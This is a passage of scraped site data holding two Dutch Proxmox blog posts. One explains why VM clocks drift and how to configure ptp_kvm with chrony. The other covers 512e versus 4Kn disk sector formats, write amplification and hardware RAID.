gereedschap is NTP is goed in waarvoor het is ontworpen: een machine met een echte oscillator die iets te snel of te langzaam loopt, bijgesteld door het rondje naar een server op afstand te meten en de lokale klok zachtjes te laten meelopen.\nElk van die aannames is wankel in een VM.\nDe lokale oscillator is niet een beetje verkeerd, hij is met tussenpozen afwezig. De meting van het rondje wordt gedaan door een proces dat tussen het lezen van de klok en het versturen van het pakket van de kern kan worden gehaald, en dat verpest de meting zelf. En de bijstellingen die na een migratie nodig zijn, zijn stappen, en daar gaat een meeloopalgoritme slecht mee om of het weigert ze pardoes.\nchrony gaat hier veel beter mee om dan ntpd. Hij loopt sneller mee, verdraagt stappen, en is eerlijk over zijn eigen onzekerheid. Maar hij lost nog steeds het verkeerde probleem op: tijd over een netwerk trekken van een stratum 2-server op 20 ms afstand, terwijl de juiste tijd in de hypervisor zit, aan de andere kant van één geheugengrens.\nWat je in de praktijk krijgt is een gast die meestal goed zit, af en toe tientallen of honderden milliseconden ernaast, en nooit helemaal in staat je te zeggen welke van de twee.\nWat afwijking echt sloopt Niemand geeft om klokken op zichzelf. Ze geven erom als er iets stopt met werken.\nKerberos en Active Directory Kerberos is van opzet tijdsafhankelijk, want de geldigheid van een ticket is uitgedrukt als een tijdvenster.\nDe documentatie van MIT bij krb5.conf definieert clockskew als “the maximum allowable amount of clockskew in seconds that the library will tolerate before assuming that a Kerberos message is invalid”, en de standaard is 300 seconden — vijf minuten.\nGa daarover en authenticatie wordt niet slechter, ze mislukt. En omdat authenticatie in Active Directory Kerberos is, betekent dat domeinaanmeldingen, net use, verbindingen naar SQL Server, Exchange, bestandsshares — de hele mikmak. Vijf minuten klinkt ruim tot een gast na het terugzetten van een snapshot achteruit stapt.\nTLS Een certificaat draagt een geldigheidsvenster: notBefore en notAfter. Een gast met een klok die achterloopt zal een certificaat weigeren dat vanmorgen is uitgegeven, want voor zover hij weet is het certificaat nog niet geldig. Een gast met een klok die voorloopt zal er een weigeren dat niet echt is verlopen.\nDezelfde rekenkunde regeert OCSP- en CRL-versheid, de nbf/exp-claims van JWT\u0026rsquo;s, en TOTP-codes voor meervoudige authenticatie, die in vensters van 30 seconden leven. Een klok die 45 seconden verkeerd staat is een authenticatiestoring met een bijzonder verwarrende foutmelding.\nCeph Ceph-monitors geven hier meer om dan bijna alles in de stack, want hun consensus hangt eraan.\nDe gezondheidscontrole MON_CLOCK_SKEW gaat af als “the clocks on hosts running Ceph Monitor daemons are not well-synchronized”. Specifiek: als de afwijking mon_clock_drift_allowed overschrijdt. Het advies van de documentatie is te synchroniseren met ntpd of chrony tegen meerdere bronnen, en het merkt op dat synchronisatie tussen monitors onderling er in het bijzonder toe doet.\nJe kunt mon_clock_drift_allowed verhogen, maar de documentatie is duidelijk dat het “significantly below the mon_lease interval” moet blijven. Het is dan ook een klein budget, en dat besteden om een tijdmeetprobleem van de hypervisor weg te werken is geen goede ruil.\nAl het andere Logs over hosts heen houden op te correleren, en dat maakt een incidenttijdlijn tot gokwerk. Databasereplicatie en gedistribueerde consensus — etcd, Galera, alles met leases voor een leider — worden ongelukkig. Vensters voor back-up en monitoring drijven weg van het ding dat ze hadden moeten bekijken.\nWindows-gasten wijken anders af Windows verdient een eigen aantekening, want zijn tijdsdienst is met andere doelen gebouwd en dat zie je.\nMicrosoft zegt onomwonden dat versies vóór Windows 10 1607 / Server 2016 “can\u0026rsquo;t guarantee highly accurate time”. Wat de Windows Time-dienst op die versies leverde was “the necessary time accuracy to satisfy Kerberos version 5 authentication requirements” en “loosely accurate time” voor machines in een gemeenschappelijk AD-forest. Strakker dan dat was “outside of the design specification… and weren\u0026rsquo;t supported.”\nMet andere woorden: ouder Windows mikt erop binnen het Kerberos-venster van vijf minuten te blijven, niet erop juist te zijn. En dat is prima tot iets in je omgeving beter nodig heeft. Een gevirtualiseerde Windows-bak die 90 seconden verkeerd staat, authenticeert vrolijk terwijl hij logs schrijft die met niets te correleren zijn.\nWindows 10 en Server 2016 en later kunnen 1 s, 50 ms of zelfs 1 ms — maar alleen onder de eerder aangehaalde voorwaarden, inclusief de grenzen aan het CPU-gebruik van de host. Microsoft merkt ook op dat “anything that introduces network asymmetry, such as a one-way satellite connection or high CPU load on the target system, will negatively influence accuracy”. Een vCPU die om rekentijd moet vechten is hoge CPU-last op het doelsysteem, met andere woorden.\nEr is geen ptp_kvm voor Windows. Wat je in plaats daarvan hebt:\nHyper-V-klokverlichtingen. Proxmox biedt die al aan Windows-gasten aan. PVE::QemuServer::CPUConfig zet hv_time naast hv_vapic, hv_spinlocks, hv_relaxed en hv_synic. hv_time is de paravirtuele klok, en het is het Windows-equivalent van kvm-clock. Dit staat standaard aan voor VM\u0026rsquo;s van het type Windows; er is niets aan te zetten. De QEMU-gastagent. Met de agent geïnstalleerd kan de host zijn tijd na een hervatting of het terugzetten van een snapshot naar de gast duwen, en dat vangt juist het geval van de stapverandering waar NTP het slechtst mee omgaat. Kies één gezag. De klassieke storing van Windows-in-een-VM is twee tijdbronnen die vechten: synchronisatie van host naar gast én synchronisatie via de domeinhiërarchie, die dezelfde klok in tegengestelde richtingen bijstellen. Laat voor een gast in het domein de domeinhiërarchie winnen en laat de host er geen tijd naartoe duwen. Voor een losstaande gast is synchronisatie met de host prima. Nooit beide. Wil je precies weten wat je hypervisor een bepaalde VM over de tijd vertelt, vraag het hem dan in plaats van te gokken:\n# Everything Proxmox actually passes to QEMU for this VM, including -rtc and CPU flags qm showcmd \u0026lt;vmid\u0026gt; --pretty De oplossing op QEMU/KVM: ptp_kvm Voor Linux-gasten op KVM is er een net antwoord, en dat is niet “meer NTP-servers”.\nptp_kvm laat de gast de host direct vragen hoe laat het is, via een hypercall — KVM_HC_CLOCK_PAIRING op x86, en een gelijkwaardige firmware-aanroep op arm64. De kernel biedt dat aan als een PTP-hardwareklokapparaat, dus vanuit userspace ziet het uit als elke andere precisieklokbron, en chrony kan het als referentieklok gebruiken.\nDe eigenschappen die ertoe doen:\nGeen netwerk. Geen jitter, geen asymmetrie, geen stratum, geen pakketten. Het pad is een geheugengrens. Onder de microseconde. De nauwkeurigheid wordt begrensd door de hypercall, niet door een rondje over een datacenter. Het gaat om het stukke deel heen. De gast telt niets en schat geen rondje. Hij leest een waarde die de host heeft berekend met een klok die de hele tijd wel liep. NTP over het netwerk tegenover ptp_kvm over een geheugengrens chrony tegen netwerkpools gast klok staat telkens stil netwerk jitter, asymmetrie stratum 2-server tientallen ms verderop het rondje wordt gemeten door de klok die wordt bijgesteld — en het proces dat meet kan halverwege van de kern worden gehaald chrony tegen ptp_kvm gast leest /dev/ptp_kvm hostklok heeft nooit stilgestaan hypercall KVM_HC_CLOCK_PAIRING een geheugengrens, geen netwerk onder de µs Geen pakketten, geen stratum, geen asymmetrie, en niets dat wordt geschat. De gast zoekt niet uit hoe laat het is — het wordt hem verteld, door de enige deelnemer die het hele interval wakker was. Beide paden eindigen met de gast die zijn klok zet. Het ene meet een netwerkrondje met een klok die telkens stilstaat; het andere vraagt het de hypervisor. Uitvoering Doe dit op elke Linux-VM die de driver heeft. De hypervisor op de host heeft zijn eigen werkende NTP of PTP nodig. ptp_kvm geeft de gast de tijd van de host, dus hij erft de fout van de host.\n1. Laad de kernelmodule bij het opstarten.\n# /etc/modules-load.d/ptp_kvm.conf ptp_kvm 2. Geef hem een vaste naam en laat chrony hem lezen.\n# /etc/udev/rules.d/90-ptp-kvm.rules ACTION==\u0026#34;add\u0026#34;, SUBSYSTEM==\u0026#34;ptp\u0026#34;, ATTR{clock_name}==\u0026#34;kvm\u0026#34;, SYMLINK+=\u0026#34;ptp_kvm\u0026#34;, GROUP=\u0026#34;chrony\u0026#34;, MODE=\u0026#34;0660\u0026#34; De symlink doet ertoe omdat de nummering van PTP-apparaten niet vast is. /dev/ptp0 kan de ene keer de klok van een NIC zijn en de volgende de KVM-klok. Op clock_name matchen pakt elke keer de juiste.\n3. Wijs chrony ernaartoe, en haal de pools weg.\nBewerk /etc/chrony/chrony.conf op Debian en Ubuntu, of /etc/chrony.conf op de RHEL-familie. Verwijder de pool-regels en gebruik:\nrefclock PHC /dev/ptp_kvm poll 2 stratum 1 delay 0.0004 De pools weghalen is geen optionele netheid. Ze laten staan vraagt chrony een lokale referentie onder de microseconde te verzoenen met internetservers op tientallen milliseconden afstand, en de internetbronnen kunnen het antwoord alleen slechter maken.\n4. Herstart en kijk het na.\nsystemctl restart chronyd # or chrony, on Debian/Ubuntu Nakijken # The symlink exists and points at the KVM clock ls -l /dev/ptp_kvm cat /sys/class/ptp/ptp*/clock_name # chrony should be using PHC0 as its selected source chronyc sources -v # and the offset should be microseconds, not milliseconds chronyc tracking In chronyc sources komt de PHC-referentieklok naar boven als #* PHC0 zodra hij is gekozen. De # markeert een lokale hardwarereferentie in plaats van een netwerkpeer, en de * markeert hem als degene die in gebruik is. Zie je hem in de lijst maar niet gekozen, dan heeft chrony hem niet aanvaard: kijk de rechten op het apparaat na, en of de groep chrony in de udev-regel overeenkomt met de gebruiker waaronder chrony op jouw distributie echt draait.\nKanttekeningen De host moet goed zitten. Dit laat de gast met de host overeenstemmen, en dat is alleen nuttig als de host met de werkelijkheid overeenstemt. Geef de hypervisors echte NTP of PTP. Elke gast heeft het nodig. Een vloot waar de helft van de VM\u0026rsquo;s ptp_kvm gebruikt en de helft internetpools, is een vloot met twee tijdgezagen. Live migratie is prima, en is het punt. Na een migratie leest de gast de klok van zijn nieuwe host. Stemmen de hosts met elkaar overeen, dan ziet de gast nooit een stap. Alleen KVM. Het is een KVM-hypercall. Geneste of vreemde hypervisors bieden het apparaat niet aan, en de udev-regel gaat simpelweg niet af. Dat is netjes falen in plaats van een stil verkeerd antwoord. Wat je niet moet doen Dwing de clocksource niet af. Laat kvm-clock met rust. tsc of hpet op de kernelregel van de gast afdwingen ruilt een paravirtuele klok die voor deze situatie is ontworpen in voor een teller die nooit van jou was. Draai geen ntpdate of hwclock uit cron. Dat is een stapverandering volgens schema, en dat is precies wat databases en Kerberos verafschuwen. Houd de pools niet “als terugval”. Met een werkende referentieklok zijn ze geen terugval, ze zijn een tweede mening van een slechtere bron. Verhoog mon_clock_drift_allowed niet en noem het opgelost. Je hebt een deel van een budget opgemaakt dat voor de werkelijkheid van het netwerk bestaat, om een probleem met een bekende oplossing te verdragen. Die laatste is het waard onomwonden te zeggen: de drempel verbreden is niet de klok oplossen. Het is het alarm verzetten zodat het niet meer afgaat.\nBronnen Linux kernel — KVM timekeeping — waarom gasttijd achterloopt, het probleem van de TSC als lokale klok, en de conclusie dat er alleen afwegingen bestaan Linux kernel — PTP_KVM — de hypercall-interface achter het PTP-klokapparaat Linux kernel — KVM x86 hypercalls — KVM_HC_CLOCK_PAIRING, de x86-kant ervan chrony — chrony.conf — de refclock-richtlijn en de opties van de PHC-driver MIT Kerberos — krb5.conf — clockskew en de standaard van 300 seconden Microsoft — support boundary for high accuracy time — de nauwkeurigheidsdoelen, en de voorwaarden aan het CPU-gebruik van de host voor gevirtualiseerde systemen Ceph — health checks — MON_CLOCK_SKEW, mon_clock_drift_allowed en hun verhouding tot mon_lease ","permalink":"https://blogs.damiendye.uk/nl/proxmox/vm-time-ptp-kvm/","summary":"De klok van een virtuele machine is gebouwd op een aanname die virtualisatie stukmaakt: dat de CPU blijft doortellen. Waarom gasttijd op elke hypervisor wegloopt, wat de afwijking sloopt — Kerberos, TLS, Ceph, Windows — en hoe ptp_kvm het netjes oplost op QEMU/KVM.","title":"De klok van een VM is niet te vertrouwen — en de ptp_kvm-oplossing voor QEMU/KVM"},{"content":"Drie Manieren Waarop Een Schijf Zich Kan Presenteren Een schijf heeft twee blokgroottes, en het verschil ertussen is het hele verhaal.\nDe fysieke sector is waar het medium werkelijk in werkt — de kleinste eenheid die de schijf kan lezen of schrijven zonder extra werk te doen. Het logische blok is wat de schijf de host vertelt dat hij in werkt — de eenheid die de host adresseert.\nEr zijn drie combinaties in het wild.\n512n — native 512. Beide groottes zijn 512 bytes. Dit is de oude wereld: harde schijven van voor 2010, en niks wat je vandaag nieuw zou kopen op enige omvang die de moeite waard is.\n512e — 512-byte-emulatie. De fysieke sector is 4096 bytes, maar de schijf rapporteert logische blokken van 512 byte en vertaalt in firmware. Dit bestaat om één reden: compatibiliteit met besturingssystemen, bootloaders en applicaties die voor altijd 512 aannamen. Verstandig genoeg als engineering, en de wortel van bijna alle ellende die volgt.\n4Kn — native 4K. Beide groottes zijn 4096 bytes. De schijf vertelt de waarheid, de host adresseert hem in de eenheid die het medium gebruikt, en er zit geen vertaallaag tussenin.\n512n, 512e en 4Kn: wat de host adresseert versus wat het medium gebruikt bovenste rij = logisch, wat de host adresseert · onderste rij = fysiek, waar het medium in werkt 512n 512512 512512 512512 512512 1:1, en eerlijk — maar verouderd. Niks nieuws komt zo. 512e 8 × 512 B logisch — wat de host te horen krijgt één fysieke sector van 4096 B — wat werkelijk bestaat firmware vertaalt, elke toegang De host adresseert iets dat er niet is. Schrijfacties die geen sector vullen kosten extra. 4Kn één logisch blok van 4096 B één fysieke sector van 4096 B niets te vertalen De schijf vertelt de waarheid, dus niets stroomafwaarts kan een beslissing nemen op een fout getal. 512e is het interessante geval: de host adresseert iets dat niet bestaat, en de firmware onderhoudt de fictie bij elke toegang. Wat 512e Doet Bij Elke Niet-Uitgelijnde Schrijfactie Een leesactie is in alle drie de gevallen goedkoop. De schijf leest de 4K-sector en geeft welke 512-byte-plak je ook vroeg terug.\nSchrijfacties zijn waar de fictie duur wordt.\nAls de host één logisch blok van 512 byte schrijft, kan de schijf geen 512 bytes schrijven. Het medium heeft zo\u0026rsquo;n eenheid niet. Dus doet hij dit in plaats daarvan:\nLees de hele fysieke sector van 4096 byte. Voeg de 512 bytes nieuwe data erin samen. Schrijf de hele sector van 4096 byte terug. Dat is een read-modify-write, en het verandert één kleine schrijfactie in een lees plus een schrijf. Op een draaiende schijf betekent dat wachten tot de plaat weer langskomt. Een volledige omwenteling bij 7.200rpm is zoiets als 8ms waarop je niet had gerekend. Op flash is de kostenpost van andere aard, en die verdwijnt niet wanneer de schrijfactie klaar is. Die heeft zijn eigen sectie hieronder.\nDe read-modify-write-straf, en wat misalignment ermee doet 4Kn — uitgelijnde 4 KB-schrijfactie 4 KB nieuwe data vult de sector 1 schrijf niets om eerst te lezen 512e — één logisch blok van 512 B schrijven 1. lees de hele fysieke sector 4096 B teruggelezen 2. voeg de 512 B samen alleen dit veranderde werkelijk 3. schrijf de hele sector terug 4096 B geschreven 1 lees + 1 schrijf een omwenteling op een schijf; een pagina geprogrammeerd op flash 512e — niet-uitgelijnde 4 KB-schrijfactie (de dure) één 4 KB-schrijfactie, verschoven met een halve sector fysieke sector n fysieke sector n+1 2 read-modify-writes bij elke schrijfactie, voor altijd Moderne partitioneringstools lijnen standaard uit op de fysieke sector, dus dit is meestal geërfd van een oude installatie of een gekloond image in plaats van vers gemaakt. Het lost zichzelf niet op. Een 4K-uitgelijnde schrijfactie van 4K heeft helemaal geen leesactie nodig. Al het andere wel — en een schrijfactie die een sectorgrens overschrijdt heeft er twee nodig. Misalignment is de versie hiervan die het hardst bijt. Als een partitie op een oneven 512-byte-offset begint — de klassieker is de oude 63-sector-conventie — dan overschrijdt elke 4K-filesystem-schrijfactie twee fysieke sectoren. Dat is niet één read-modify-write, het zijn er twee, bij elke enkele schrijfactie, voor altijd, totdat iemand de schijf herpartitioneert.\nWrite Amplification Op Flash Op een harde schijf kost de read-modify-write je een omwenteling en dan is het voorbij. Op flash kost het je schijflevensduur, en dat is een rekening die je één keer betaalt en blijft betalen.\nWrite amplification is de verhouding van wat er werkelijk naar de NAND is geschreven tegen wat de host vroeg te schrijven. Een verhouding van 1,0 zou betekenen dat de schijf precies schreef wat hem werd gegeven. Het is nooit 1,0, want flash kan niet ter plaatse overschrijven: de schijf programmeert een verse pagina, markeert de oude als verouderd, en garbage collection verplaatst later de overlevende pagina\u0026rsquo;s zodat een heel blok gewist kan worden. Die verplaatsingen zijn ook schrijfacties.\n512e voegt daar een vermijdbare laag bovenop, en de reden is een detail dat de moeite waard is helder te stellen: de vertaallaag van de schijf mapt in eenheden van ongeveer 4 KB ongeacht welke logische blokgrootte hij adverteert. Een schijf die blokken van 512 byte rapporteert, houdt intern nog steeds eenheden van 4 KB bij.\nDus een schrijfactie van 512 byte van de host wordt, binnen de schijf: lees de mapping-eenheid van 4 KB, voeg de 512 bytes erin samen, programmeer een nieuwe eenheid van 4 KB. 4096 bytes bereiken de NAND zodat 512 bytes konden veranderen. Acht keer de schrijfactie, voor die schrijfactie.\nMisalignment is minder dramatisch per schrijfactie en erger in totaal. Een schrijfactie van 4 KB die twee mapping-eenheden overschrijdt, vervuilt ze allebei, dus wordt 8 KB geprogrammeerd voor 4 KB data. Dat is 2× amplification bij elke enkele schrijfactie, permanent, totdat de partitietabel is gerepareerd.\nWaarom een niet-uitgelijnde schrijfactie verdubbelt wat de NAND bereikt naar beneden lezend: wat de host schreef → de 4 KB-mapping-eenheden van de schijf → wat de NAND bereikte 512e — 4 KB-schrijfactie, niet-uitgelijnd 4 KB van de host eenheid n eenheid n+1 4 KB herschreven 4 KB herschreven 8 KB geschreven voor 4 KB — WAF 2× bij elke schrijfactie, tot de partitietabel is gerepareerd 4Kn — 4 KB-schrijfactie, uitgelijnd 4 KB van de host eenheid n 4 KB geschreven 4 KB voor 4 KB — WAF ≈ 1× de ondergrens, vóór garbage collection Geen van beide kanten ontsnapt aan garbage collection: de schijf moet nog steeds verplaatsen wat er leeft in een blok voordat hij het kan wissen, en dat werk schaalt met hoeveel er in de eerste plaats geschreven werd. 4Kn laat amplification niet verdwijnen — het verwijdert het deel ervan waar je voor niets voor betaalde. De host vroeg in beide gevallen om dezelfde 4 KB. Links landt hij over twee mapping-eenheden, dus worden beide herschreven — en garbage collection zal later verplaatsen wat er nog leeft in. De vervolgeffecten zijn wat dit ertoe doet in plaats van slechts rommelig te zijn:\nMeer NAND-schrijfacties betekent dat garbage collection vaker draait, en zijn verplaatsingen zijn zelf amplification. Een SLC-schrijfcache raakt eerder vol, dus de schijf zakt eerder terug naar zijn tragere steady state en de aanhoudende schrijfdoorvoer daalt. Program/erase-cycli worden verbruikt in verhouding tot wat de NAND bereikte, niet tot wat de host verstuurde. Verdubbel de amplification en je hebt de levensduur van de schijf gehalveerd voor dezelfde workload. Endurance-ratings — TBW, DWPD — worden opgegeven tegen host-schrijfacties. Amplification vreet die marge stilletjes op, en de schijf slijt vóór de garantierekensom die je maakte toen je hem kocht. Directe en Synchrone Schrijfacties Zijn Het Slechtste Geval Meestal verbergt de page cache dit allemaal. De kernel verzamelt kleine schrijfacties, voegt ze samen, en geeft 4 KB of grotere IO aan de schijf, zodat de read-modify-write nooit gebeurt.\nTwee flags verwijderen die bescherming, en applicaties die om duurzaamheid geven zetten beide.\nO_DIRECT omzeilt de page cache. Er zit nu niets tussen de applicatie en de schijf om een schrijfactie van 512 byte samen te voegen tot iets van sectorformaat.\nO_SYNC of O_DSYNC vereist dat de schrijfactie op stabiel medium staat voordat de aanroep terugkeert. Dat stopt de schijf ervan de schrijfactie in een vluchtige buffer op te nemen en die later met zijn buren te combineren.\nZet ze samen en elke schrijfactie van 512 byte is een complete read-modify-write-cyclus die nu moet voltooien, op zichzelf, met niets om ertegen te amortiseren. Dat is waar amplification op een 512e-schijf zijn theoretische 8× benadert, en het is precies het patroon dat een database-commit-log, een ZFS-ZIL of een Ceph-BlueStore-WAL produceert.\nPower-loss protection is wat dit redt op enterprise-hardware. Een schijf met PLP kan een synchrone schrijfactie bevestigen zodra die in een condensator-ondersteunde DRAM-buffer staat, wat duurzaam is, en toch intern samenvoegen voordat er NAND wordt geprogrammeerd. Een consumentenschijf zonder PLP moet de flash bereiken voordat hij mag antwoorden, dus betaalt hij de volle prijs per schrijfactie. Nog een reden dat PLP niet optioneel is voor dit soort workload.\nIn Proxmox bepaalt de cache-modus welke van deze je krijgt:\ncache=none is O_DIRECT — de PVE-standaard, en de juiste keuze voor all-flash-HA. De host-page-cache is uit het pad, dus gast-schrijfpatronen bereiken de schijf zoals de gast ze uitgaf. cache=directsync is O_DIRECT plus O_DSYNC — elke schrijfactie synchroon. Het is een niche-instelling voor toegewijde database-log-schijven en onbruikbaar voor algemene workloads. Op een 512e-backing-device is cache=directsync met een gast die in records van 512 byte commit ongeveer de minst efficiënte beschikbare regeling: geen host-samenvoeging, geen schijf-samenvoeging, en een read-modify-write per commit.\nEn hier is het deel dat 4Kn structureel maakt in plaats van slechts te prefereren. O_DIRECT vereist dat de offset, lengte en buffer uitgelijnd zijn op de logische blokgrootte van de schijf. Op een 512e-schijf is dat 512 bytes, dus een directe schrijfactie van 512 byte is legaal en de schijf betaalt er stilletjes voor. Op 4Kn is het logische blok 4096, dus de kleinste directe schrijfactie die de kernel accepteert is 4 KB. Het pathologische patroon houdt op iets te zijn dat je moet vermijden en wordt iets dat de stack niet kan uitdrukken.\nOverhead Op Het Medium De tweede kostenpost is structureel, en het is de reden dat Advanced Format überhaupt bestaat.\nEen sector is niet alleen zijn data. Op een harde schijf draagt elke sector een sync mark zodat de kop weet waar de sector begint, een gap zodat opeenvolgende sectoren niet in elkaar lopen, een address marker, en een ECC-veld om leesfouten te corrigeren.\nMet sectoren van 512 byte betaal je dat allemaal acht keer voor elke 4K data. Met één 4K-sector betaal je het één keer.\nDat heeft twee gevolgen, en het tweede doet er meer toe dan het eerste:\nEen deel van de plaat dat overhead was, wordt bruikbare capaciteit. Dit was de vermelde motivatie van de industrie tijdens de Advanced Format-overgang, in de lage enkelcijferige percentages. Het ECC-veld kan veel groter zijn voor dezelfde totale overhead. Eén sterke code die 4096 bytes beschermt corrigeert veel meer dan acht zwakke codes die elk 512 bytes beschermen. Toen de areale dichtheid steeg, hield dat op een fijnigheid te zijn en werd het de enige manier om foutpercentages acceptabel te houden. Overhead per sector wordt acht keer betaald bij 512 bytes en één keer bij 4K sectoren van 512 byte — dezelfde 4 KB data 8 sectoren × (sync + data + ECC + gap) 8 × de overhead per sector, en acht kleine ECC-velden Eén sector van 4096 byte — dezelfde data 1 × de overhead, en één veel groter ECC-veld sync mark, address marker, inter-sector gap ECC jouw data Niet op schaal — de overhead-velden zijn overdreven zodat ze überhaupt zichtbaar zijn. De teruggewonnen capaciteit was een laag enkelcijferig percentage waard. De sterkere ECC is waarom de industrie werkelijk overstapte. Acht sets sync marks, gaps en ECC, of één. De teruggewonnen ruimte is de kleine winst; de sterkere foutcorrectie is de reden dat de industrie overstapte. Flash heeft geen sync marks of rotatie-gaps, maar dezelfde logica geldt een niveau hoger: NAND wordt geprogrammeerd in pagina\u0026rsquo;s, pagina\u0026rsquo;s zijn veel groter dan 512 bytes, en de mapping-tabellen van de schijf hebben een entry per adresseerbare eenheid. Kleinere logische blokken betekent meer metadata om dezelfde capaciteit bij te houden.\nOverhead In De Host: Commando\u0026rsquo;s en Interrupts De derde kostenpost is degene die mensen missen, want die zit helemaal niet op de schijf.\nDe logische blokgrootte zet de ondergrens op hoe klein een IO kan zijn. Op een 512-byte logische schijf is een filesystem of een applicatie vrij een schrijfactie van 512 byte uit te geven, en elk daarvan is een complete IO: een commando gebouwd en ingediend, een doorbell-write, een completion-queue-entry, en een interrupt om te zeggen dat het klaar is.\nElk daarvan heeft een vaste kostenpost die er niet om geeft hoeveel data erbij betrokken was. Verplaats 4KB als acht commando\u0026rsquo;s van 512 byte en je betaalt die kostenpost acht keer. Verplaats het als één 4K-commando en je betaalt het één keer.\nDe logische blokgrootte zet de ondergrens op IO-grootte, en elk commando heeft een vaste kostenpost logische blokken van 512 B — een applicatie mag 512 B-schrijfacties uitgeven 4 KB data wordt 8 commando's 512 B512 B 512 B512 B 512 B512 B 512 B512 B 8 × submission + doorbell 8 × completion-entry 8 × interrupt-gelegenheid 8 × de vaste kosten per commando voor precies dezelfde 4 KB data logische blokken van 4 KB — 4 KB is de ondergrens één 4 KB-commando 1 × submission, 1 × completion, 1 × interrupt 1 × de vaste kosten Dit helpt alleen waar kleine IO werkelijk wordt uitgegeven: één commando kan veel blokken beschrijven, dus een schrijfactie van 1 MB is hoe dan ook één commando. Dezelfde 4 KB data. De schijf is hier niet de bottleneck — de kostenpost per commando en per voltooiing in de host is dat. Twee eerlijke kanttekeningen, want dit is waar het argument doorgaans wordt overdreven.\nVoor grote IO verandert de logische blokgrootte niets aan het commandoaantal. Eén commando kan veel blokken beschrijven, dus een sequentiële schrijfactie van 1MB is één commando of de blokken nu 512 bytes of 4K zijn. De besparing is alleen echt waar er kleine IO wordt uitgegeven.\nWaar kleine IO wel wordt uitgegeven is het effect echter niet subtiel: elk van die acht aanvragen is er een die de kernel moet bouwen, plannen en voltooien, elk met zijn eigen MSI-X-interrupt en user-naar-kernel-overgang, en bij hoge queue depths is dat hoe je een interrupt-storm krijgt. Binnen een VM is het opnieuw erger, want elk van die interrupts is ook een gast-context-switch.\nEn moderne NVMe-controllers voegen interrupts samen, dus het interrupt-aantal is niet simpelweg het commandoaantal. Het submission- en completion-werk per commando blijft echter, en bij een paar honderdduizend IOPS is de CPU-kostenpost per commando een meetbare fractie van een core. Dit is dezelfde rekenkunde als posted interrupts in de passthrough-serie — kleine vaste kosten vermenigvuldigd met een zeer groot getal.\n4Kn, Sector-Metadata en Hardware-RAID Overgaan naar een 4096 + 0-formaat heeft een gevolg dat mensen verrast, en het landt vierkant op hardware-RAID.\nSommige RAID-controllers en storage-arrays gebruiken helemaal geen gewone sectoren van 512 of 4096 byte. Ze formatteren schijven naar een uitgebreide grootte — 520 of 528 bytes, of de 4K-equivalenten zoals 4104, 4160 en 4224 — omdat die extra bytes per sector zijn waar de controller zijn eigen metadata bewaart. Dat is T10-PI/DIF protection information, of vendor-integriteitsdata, opgeslagen inline met precies de data die het beschrijft.\nEen 4096 + 0-formaat heeft nergens om het te plaatsen. De sector is data, van begin tot eind, en dat is het hele punt van het kiezen ervan.\nDus een controller die inline metadata wil, heeft drie opties, en geen ervan is gratis:\nWeiger de schijf. Herformatteer hem terug naar een uitgebreid formaat, en maak het 4Kn-werk dat je net deed ongedaan. Bewaar zijn metadata ergens anders op de schijf. De derde is waar flash je straft. Metadata die apart van de data die het beschrijft wordt geschreven, is een tweede schrijfactie, op een andere offset, die in een andere mapping-eenheid landt. Nog een NAND-pagina geprogrammeerd voor elke die je werkelijk bedoelde te schrijven. Dat is de amplification uit de sectie hierboven, opzettelijk opnieuw geïntroduceerd, om integriteitsmetadata te dragen die de schijf gratis inline had kunnen houden als je hem in een uitgebreid formaat had gelaten.\nJe kunt niet beide hebben. Ofwel draagt de sector de metadata van de controller, of hij draagt alleen jouw data.\nEn Daarom Heeft Flash De Zaak Voor Hardware-RAID Nogal Ondermijnd De rest hiervan is oordeel in plaats van mechanisme, dus neem het als zodanig.\nEen hardware-RAID-controller is firmware-RAID die op een toegewijde processor draait. De \u0026ldquo;hardware\u0026rdquo; is een CPU, wat DRAM en een batterij. Geen fundamenteel andere manier om pariteit te berekenen. Wat het je historisch opleverde was een batterij-ondersteunde schrijfcache en pariteit-offload, en op flash zijn beide argumenten flink verzwakt. Enterprise-NVMe heeft al een eigen power-loss-protected cache, en de controller wordt een bandbreedteplafond vóór apparaten die elk meerdere gigabytes per seconde kunnen verzadigen.\nHet kost je ook dingen die je nu actief wilt:\nApparaattoestand verdwijnt. SMART-detail, slijtage-indicatoren en de vendor-logs waarmee je write amplification kunt berekenen zitten allemaal achter een ondoorzichtige abstractie. Geen end-to-end checksums. Een controller verifieert pariteit, wat een ontbrekende schijf detecteert, niet een verkeerd antwoord van een aanwezige. ZFS en Ceph checksummen de data zelf en kunnen je vertellen welke kopie fout is — stille corruptie die een controller regelrecht doorlaat. De controller lost dan ook het verkeerde probleem op. Vendor-metadata op de schijven bindt de array aan een controllerfamilie, wat een eigen soort onbetrouwbaarheid is wanneer de controller is wat faalt. Pariteit-RAID doet zijn eigen read-modify-write bij partial-stripe-writes, gestapeld bovenop alles in de secties hierboven. Voor Ceph is dit niet eens een voorkeur. Proxmox\u0026rsquo; eigen hyper-converged-richtlijn is dat schijven gepresenteerd moeten worden in HBA- of pass-through-modus, niet achter een RAID-controller, en ZFS wil precies hetzelfde om dezelfde redenen.\nDus de regeling die uit dit alles volgt is: een HBA in plaats van een RAID-controller, schijven geformatteerd 4Kn met nul metadata, en redundantie plus checksums gedaan door ZFS of Ceph, die je werkelijk kunnen vertellen wanneer een schijf loog. Als iets in je landschap werkelijk een uitgebreid sectorformaat nodig heeft, is dat een bewuste of/of die je moet beslechten terwijl de schijven nog leeg zijn. Niet iets om te ontdekken nadat de OSD\u0026rsquo;s zijn gebouwd.\nWaar 512e Werkelijk Bijt Het zou oneerlijk zijn te beweren dat 512e een modern systeem ruïneert, want meestal doet het dat niet.\nEen huidige Linux-stack leest de fysieke sectorgrootte, lijnt partities eraan uit — parted en sfdisk doen dit nu allebei standaard — en gebruikt 4K-filesystem-blokken. In die configuratie geeft de host 4K-uitgelijnde 4K-IO uit, heeft de schijf nooit een read-modify-write nodig, en kost 512e je bijna niks.\nDe problemen zijn specifiek:\nNiet-uitgelijnde partities, doorgaans geërfd van een oude installatie of een gekloond image. Twee read-modify-writes bij elke schrijfactie. ZFS met ashift=9 op een 512e-schijf, omdat ZFS de gerapporteerde 512 geloofde. Elke record-schrijfactie wordt een read-modify-write, en je kunt ashift achteraf niet veranderen — de pool moet herbouwd worden. Applicaties die records van 512 byte schrijven met O_DIRECT, waarbij ze de samenvoeging van de page cache omzeilen. Sommige databases en veel maatwerksoftware doen dit. Alles wat erop vertrouwt dat de logische grootte de echte is. Dat is de werkelijke schade in de emulatie: het deelt een getal uit dat fout is, en dingen stroomafwaarts nemen er beslissingen mee. 4Kn verwijdert de hele categorie. De schijf kan niet liegen over een sectorgrootte die hij niet 